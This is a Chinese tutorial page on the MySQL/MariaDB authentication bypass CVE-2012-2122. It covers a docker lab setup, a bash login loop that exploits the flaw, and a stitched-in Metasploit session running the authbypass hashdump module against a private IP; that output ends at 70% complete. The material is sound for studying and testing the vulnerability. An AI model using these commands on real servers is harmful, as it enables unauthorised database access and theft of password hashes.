Mysql 身份认证绕过漏洞(CVE-2012-2122)
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了Mysql 身份认证绕过漏洞(CVE-2012-2122),小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含3918字,纯文字阅读大概需要6分钟。
内容图文
![Mysql 身份认证绕过漏洞(CVE-2012-2122)](/upload/InfoBanner/zyjiaocheng/858/be355d67a1cf4c669f17fc535635c916.jpg)
Mysql 身份认证绕过漏洞(CVE-2012-2122)
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
受影响版本:
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
参考链接:
- http://www.freebuf.com/vuls/3815.html
- https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
环境搭建
经过测试,本环境虽然运行在容器内部,但漏洞是否能够复现仍然与宿主机有一定关系。宿主机最好选择Ubuntu或Mac系统,但也不知道是否一定能够成功,欢迎在Issue中提交更多测试结果。
执行如下命令启动测试环境:
docker-compose up -d
环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456。
漏洞验证
在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
更多测试和利用方法,见参考链接。
用Metasploit破解Mysql用户名和密码
发表于:2016-1-11 13:47 作者:alexkn 来源:51Testing软件测试网采编
字体:大 中 小 | 上一篇 | 下一篇 |我要投稿 | 推荐标签:
假设我们得到了一个Mysql为5.1.61, 5.2.11, 5.3.5, 5.5.22的数据库(下面这个只是操作过程,数据库版本不是含漏洞版本)msf > use auxiliary/scanner/mysql/mysql_version msf auxiliary(mysql_version) > show options Module options (auxiliary/scanner/mysql/mysql_version): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 3306 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(mysql_version) > set RHOSTS 10.199.128.61 RHOSTS => 10.199.128.61 msf auxiliary(mysql_version) > set THREADS 5 THREADS => 5 msf auxiliary(mysql_version) > exploit [*] 10.199.128.61:3306 is running MySQL 5.5.44-log (protocol 10) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed |
msf auxiliary(mysql_hashdump) > search CVE-2012-2122
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/mysql/mysql_authbypass_hashdump 2012-06-09 normal MySQL Authentication Bypass Password Dump
msf auxiliary(mysql_hashdump) > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) >
msf auxiliary(mysql_authbypass_hashdump) >
msf auxiliary(mysql_authbypass_hashdump) > show options
Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port
THREADS 1 yes The number of concurrent threads
USERNAME root yes The username to authenticate as
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 10.199.128.61
RHOSTS => 10.199.128.61
msf auxiliary(mysql_authbypass_hashdump) > exploit
[+] 10.199.128.61:3306 The server allows logins, proceeding with bypass test
[*] 10.199.128.61:3306 Authentication bypass is 10% complete
[*] 10.199.128.61:3306 Authentication bypass is 20% complete
[*] 10.199.128.61:3306 Authentication bypass is 30% complete
[*] 10.199.128.61:3306 Authentication bypass is 40% complete
[*] 10.199.128.61:3306 Authentication bypass is 50% complete
[*] 10.199.128.61:3306 Authentication bypass is 60% complete
[*] 10.199.128.61:3306 Authentication bypass is 70% complete
效果图:
![]() |
内容总结
以上是互联网集市为您收集整理的Mysql 身份认证绕过漏洞(CVE-2012-2122)全部内容,希望文章能够帮你解决Mysql 身份认证绕过漏洞(CVE-2012-2122)所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。